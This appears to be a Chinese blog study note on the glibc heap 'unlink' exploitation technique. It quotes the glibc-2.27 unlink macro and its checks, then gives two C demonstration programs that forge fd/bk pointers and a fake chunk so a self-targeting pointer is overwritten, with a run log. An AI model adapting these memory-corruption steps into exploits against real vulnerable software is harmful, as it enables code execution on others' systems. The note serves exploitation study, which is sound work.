前导知识

malloc_chunk 结构

struct malloc_chunk {

INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */

INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */

struct malloc_chunk* fd; /* double links -- used only if free. */

struct malloc_chunk* bk;

/* Only used for large blocks: pointer to next larger size. */

struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */

struct malloc_chunk* bk_nextsize;

};

部分字段的具体的解释如下

fd,bk。 chunk 处于分配状态时,从 fd 字段开始是用户的数据。chunk 空闲时,会被添加到对应的空闲管理链表中,其字段的含义如下

fd 指向下一个(非物理相邻)空闲的 chunk

bk 指向上一个(非物理相邻)空闲的 chunk

通过 fd 和 bk 可以将空闲的 chunk 块加入到空闲的 chunk 块链表进行统一管理

fd_nextsize, bk_nextsize,也是只有 chunk 空闲的时候才使用,不过其用于较大的 chunk(large chunk)。

fd_nextsize 指向前一个与当前 chunk 大小不同的第一个空闲块,不包含 bin 的头指针。

bk_nextsize 指向后一个与当前 chunk 大小不同的第一个空闲块,不包含 bin 的头指针。

一般空闲的 large chunk 在 fd 的遍历顺序中,按照由大到小的顺序排列。这样做可以避免在寻找合适 chunk 时挨个遍历。

我们在利用 unlink 所造成的漏洞时,其实就是对进行 unlink chunk 进行内存布局,然后借助 unlink 操作来达成修改指针的效果。

我们先来简单回顾一下 unlink 的目的与过程,其目的是把一个双向链表中的空闲块拿出来(例如 free 时和目前物理相邻的 free chunk 进行合并)。其基本的过程如下

然我们先来看看源码:

glibc-2.27/malloc/malloc.c:1403

/* Take a chunk off a bin list */

#define unlink(AV, P, BK, FD) { \

if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \

malloc_printerr ("corrupted size vs. prev_size"); \

FD = P->fd; \

BK = P->bk; \

if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \

malloc_printerr ("corrupted double-linked list"); \

else { \

FD->bk = BK; \

BK->fd = FD; \

if (!in_smallbin_range (chunksize_nomask (P)) \

&& __builtin_expect (P->fd_nextsize != NULL, 0)) { \

if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) \

|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \

malloc_printerr ("corrupted double-linked list (not small)"); \

if (FD->fd_nextsize == NULL) { \

if (P->fd_nextsize == P) \

FD->fd_nextsize = FD->bk_nextsize = FD; \

else { \

FD->fd_nextsize = P->fd_nextsize; \

FD->bk_nextsize = P->bk_nextsize; \

P->fd_nextsize->bk_nextsize = FD; \

P->bk_nextsize->fd_nextsize = FD; \

} \

} else { \

P->fd_nextsize->bk_nextsize = P->bk_nextsize; \

P->bk_nextsize->fd_nextsize = P->fd_nextsize; \

} \

} \

} \

}

由于glibc-2.23的源码没有size检查,但是发行的库中却有size检查,所有鄙人用glibc-2.27的源码。

size检查

if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \

malloc_printerr ("corrupted size vs. prev_size"); \

由于 P 已经在双向链表中,所以有两个地方记录其大小,所以检查一下其大小是否一致。

双向链表完整性检查

FD = P->fd; \

BK = P->bk; \

if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \

malloc_printerr ("corrupted double-linked list"); \

检查 fd 和 bk 指针。

双向链表完整性检查

if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) \

|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \

malloc_printerr ("corrupted double-linked list (not small)"); \

这个平常不怎么用到,是对于 large bin 的检查。

核心部分

FD->bk = BK; \

BK->fd = FD; \

即通过此方式,P 的指针指向了比自己低 12 的地址处。此方法虽然不可以实现任意地址写,但是可以修改指向 chunk 的指针,这样的修改是可以达到一定的效果的。

利用思路

条件

UAF ,可修改 free 状态下 smallbin 或是 unsorted bin 的 fd 和 bk 指针

已知位置存在一个指针指向可进行 UAF 的 chunk

效果

使得已指向 UAF chunk 的指针 ptr 变为 ptr - 0x18

思路

设指向可 UAF chunk 的指针的地址为 ptr

修改 fd 为 ptr - 0x18

修改 bk 为 ptr - 0x10

触发 unlink

ptr 处的指针会变为 ptr - 0x18。

代码举例

原理就如下面的代码所示:

#include

#include

// 机器字长,64位机器为8,32位机器为4

#define MACHINE_SIZE (sizeof(void *))

struct malloc_chunk

{

size_t prev_size; /* Size of previous chunk (if free). */

size_t size; /* Size in bytes, including overhead. */

struct malloc_chunk *fd; /* double links -- used only if free. */

struct malloc_chunk *bk;

/* Only used for large blocks: pointer to next larger size. */

struct malloc_chunk *fd_nextsize; /* double links -- used only if free. */

struct malloc_chunk *bk_nextsize;

};

int main()

{

struct malloc_chunk *chunk1, *chunk2;

char *ptr1, *ptr2;

// 不要申请fastbin

ptr1 = malloc(0x80);

ptr2 = malloc(0x80);

chunk1 = ptr1 - 2 * MACHINE_SIZE;

chunk2 = ptr2 - 2 * MACHINE_SIZE;

free(ptr1);

chunk1->fd = ((char *)&chunk1) - 3 * MACHINE_SIZE;

chunk1->bk = ((char *)&chunk1) - 2 * MACHINE_SIZE;

fprintf(stderr, "Starting chunk1: %p ; &chunk1: %p\n", chunk1, &chunk1);

// 触发unlink

free(ptr2);

fprintf(stderr, "Then chunk1: %p ; &chunk1: %p\n", chunk1, &chunk1);

fprintf(stderr, "%p(&chunk1) - %p(chunk1) = %d\n", &chunk1, chunk1,

(char *)&chunk1 - (char *)chunk1);

return 0;

}

一般情况下的unlink漏洞举例

要点

修改下一个相邻chunk的prev_size,使其与构造的假chunk相对应。

修改下一个相邻chunk的prev_in_use位为未使用状态。

一般都是由heap overflow来实现上述操作的。

#include

#include

// 机器字长,64位机器为8,32位机器为4

#define MACHINE_SIZE (sizeof(void *))

int main()

{

char *ptr1, *ptr2;

// 不要申请fastbin

ptr1 = malloc(0x80);

ptr2 = malloc(0x80);

// *(size_t *)ptr1 = 0;

// *(size_t *)(ptr1 + MACHINE_SIZE) = 0x80;

// fake_chunk->fd, ensures fake_chunk->fd->bk == fake_chunk

*(void **)(ptr1 + 2 * MACHINE_SIZE) = (char *)&ptr1 - 3 * MACHINE_SIZE;

// fake_chunk->bk, ensures fake_chunk->bk->fd == fake_chunk

*(void **)(ptr1 + 3 * MACHINE_SIZE) = (char *)&ptr1 - 2 * MACHINE_SIZE;

// 修改ptr2的chunk的prev_size ,使得其指向fake_chunk

*(size_t *)(ptr2 - 2 * MACHINE_SIZE) = (*(size_t *)(ptr1 - 1 * MACHINE_SIZE)

- 2 * MACHINE_SIZE) & (-8) ; // 去除低 3 bit的状态标记

// 修改ptr2的chunk的 prev_in_use 为未使用状态

*(size_t *)(ptr2 - MACHINE_SIZE) -= 1;

fprintf(stderr, "Starting ptr1: %p ; &ptr1: %p\n", ptr1, &ptr1);

// 触发unlink

free(ptr2);

fprintf(stderr, "Then ptr1: %p ; &ptr1: %p\n", ptr1, &ptr1);

fprintf(stderr, "%p(&ptr1) - %p(ptr1) = %ld\n", &ptr1, ptr1,

(char *)&ptr1 - (char *)ptr1);

return 0;

}

运行实例(环境:glibc-2.23)

ex@ubuntu:~/test$ gcc main.c -o main

ex@ubuntu:~/test$ ./main

Starting ptr1: 0x1020010 ; &ptr1: 0x7ffeb72fdb88

Then ptr1: 0x7ffeb72fdb70 ; &ptr1: 0x7ffeb72fdb88

0x7ffeb72fdb88(&ptr1) - 0x7ffeb72fdb70(ptr1) = 24

ex@ubuntu:~/test$

总结

像unlink这种比较抽象的漏洞需要多多写几遍他的C语言漏洞实例以保持手感,要不然时间过久了,再次看到unlink的话就会变得很生疏。

0

0

vote

Article Rating

c语言 unlink,unlink 漏洞笔记相关推荐

  1. 《Go语言圣经》学习笔记 第五章函数

    <Go语言圣经>学习笔记 第五章 函数 目录 函数声明 递归 多返回值 匿名函数 可变参数 Deferred函数 Panic异常 Recover捕获异常 注:学习<Go语言圣经> ...

  2. 《华为CC++语言安全规范》笔记

    <华为C&C++语言安全规范>笔记 通过阅读<华为C&C++语言安全规范>1,我了解到了我在编程中很多缺失的部分.现在记录下几个要点: 规则1.1.4:严禁对指 ...

  3. 语言 提取列名_学习健明老师发布的R语言练习题的学习笔记(二)

    学习者:骆栢维 题目来源:生信基石之R语言 中级10 个题目:http://www.bio-info-trainee.com/3750.html 备注:本文为笔者学习健明老师GitHub答案代码的学习 ...

  4. 数据结构(c语言版)笔记6,2020考研计算机《数据结构(C语言版)》复习笔记(6)

    2020年计算机考研复习已经开始,新东方在线在此整理了2020考研计算机<数据结构(C语言版)>复习笔记(6),希望能帮助大家! 第六章 树知识点整理 树是n个结点的有限集合,非空时必须满 ...

  5. 独立式环境与宿主式环境————《标准C语言指南》读书笔记01

    独立式环境与宿主式环境----<标准C语言指南>读书笔记01 在编写和转换一个C程序之前,需要考虑它的执行环境,因为这关系到源文件的内容(程序应当如何编写),也关系到转换后的程序能否正常执 ...

  6. 《Go语言圣经》学习笔记 第十一章 测试

    <Go语言圣经>学习笔记 第十一章 测试 目录 go test 测试函数 测试覆盖率 基准测试 剖析 示例函数 注:学习<Go语言圣经>笔记,PDF点击下载,建议看书. Go语 ...

  7. 《Go语言圣经》学习笔记 第十章 包和工具

    <Go语言圣经>学习笔记 第十章 包和工具 目录 包简介 导入路径 包声明 导入声明 包的匿名导入 包和命名 工具 注:学习<Go语言圣经>笔记,PDF点击下载,建议看书. G ...

  8. 《Go语言圣经》学习笔记 第九章 基于共享变量的并发

    <Go语言圣经>学习笔记 第九章 基于共享变量的并发 目录 竞争条件 sync.Mutex互斥锁 syn.RWMutex读写锁 内存同步 syn.Once初始化 竞争条件检测 示例:并发的 ...

  9. 《Go语言圣经》学习笔记 第八章 Groroutines和Channels

    <Go语言圣经>学习笔记 第八章 Groroutines和Channels 目录 Goroutines 实例:并发的Clock服务 实例:并发的Echo服务 Channels 并发的循环 ...

  10. 《Go语言圣经》学习笔记 第六章 方法

    <Go语言圣经>学习笔记 第六章 方法 目录 方法声明 基于指针对象的方法 通过嵌入结构体来扩展类型 方法值和方法表达式 示例:Bit数组 封装 注:学习<Go语言圣经>笔记, ...

最新文章

  1. 甘肃张掖祁连山境内出现雪豹
  2. navicat开启mysql数据库root用户的远程访问
  3. Linux下安装jboss并设置自启动服务
  4. c语言教程 define,C语言中define的用法
  5. python函数笔记_初学Python函数的笔记整理
  6. 简单瀑布流-jquery实现
  7. 如何用yolov5训练自己的图片
  8. 使用Visual Studio进行单元测试-Part4
  9. openstack Essex中nova-volume
  10. java api es_中间件系列之ElasticSearch-3-Java API操作ES
  11. x550网卡linux驱动,Intel英特尔X520/X540/X550/82599系列万兆网卡驱动5.10.2版For Linux(2021年2月1日发布)...
  12. python输入一个三位数、输出它的逆序数值_c语言 从键盘输入一个三位数,输出该数的逆序数。...
  13. windows下端口映射(端口转发)
  14. python5.2、输出格式控制 - 摄氏-华氏温度换算
  15. 判断无线网卡是否支持监听模式
  16. 【论文阅读】Causality matters in medical imaging
  17. 小程序  跳转web-view  点击左上角返回需要点击2次才能返回
  18. Python必会的单元测试框架 —— unittest
  19. 人工智能之经典逻辑推理
  20. 帝国cms中常用标签/灵动标签/判断语句

热门文章

  1. python基础语法总结-Python基础语法总结之逻辑运算
  2. 学python心得体会500字-英泰移动通信:学习Python心得体会
  3. python读取大文件-python快速读取一个大文件内容(瞎猜)
  4. 下列不属于python第三方库的是-python后端开发工程师考证试题
  5. python使用什么来表示不同级别的语句块-Python
  6. python3官方文档 中文-Python 3.7 官方文档中文翻译召集
  7. python比c语言好学吗-python和c语言哪个更适合初学者
  8. 零基础自学python看什么书-学习Python可以看书籍学习吗?老男孩Python入门课程
  9. python下载安装教程mac-数据分析入门~mac 下载及安装 Python 环境
  10. python中国大学排名爬虫写明详细步骤-Python爬虫 2020中国大学排名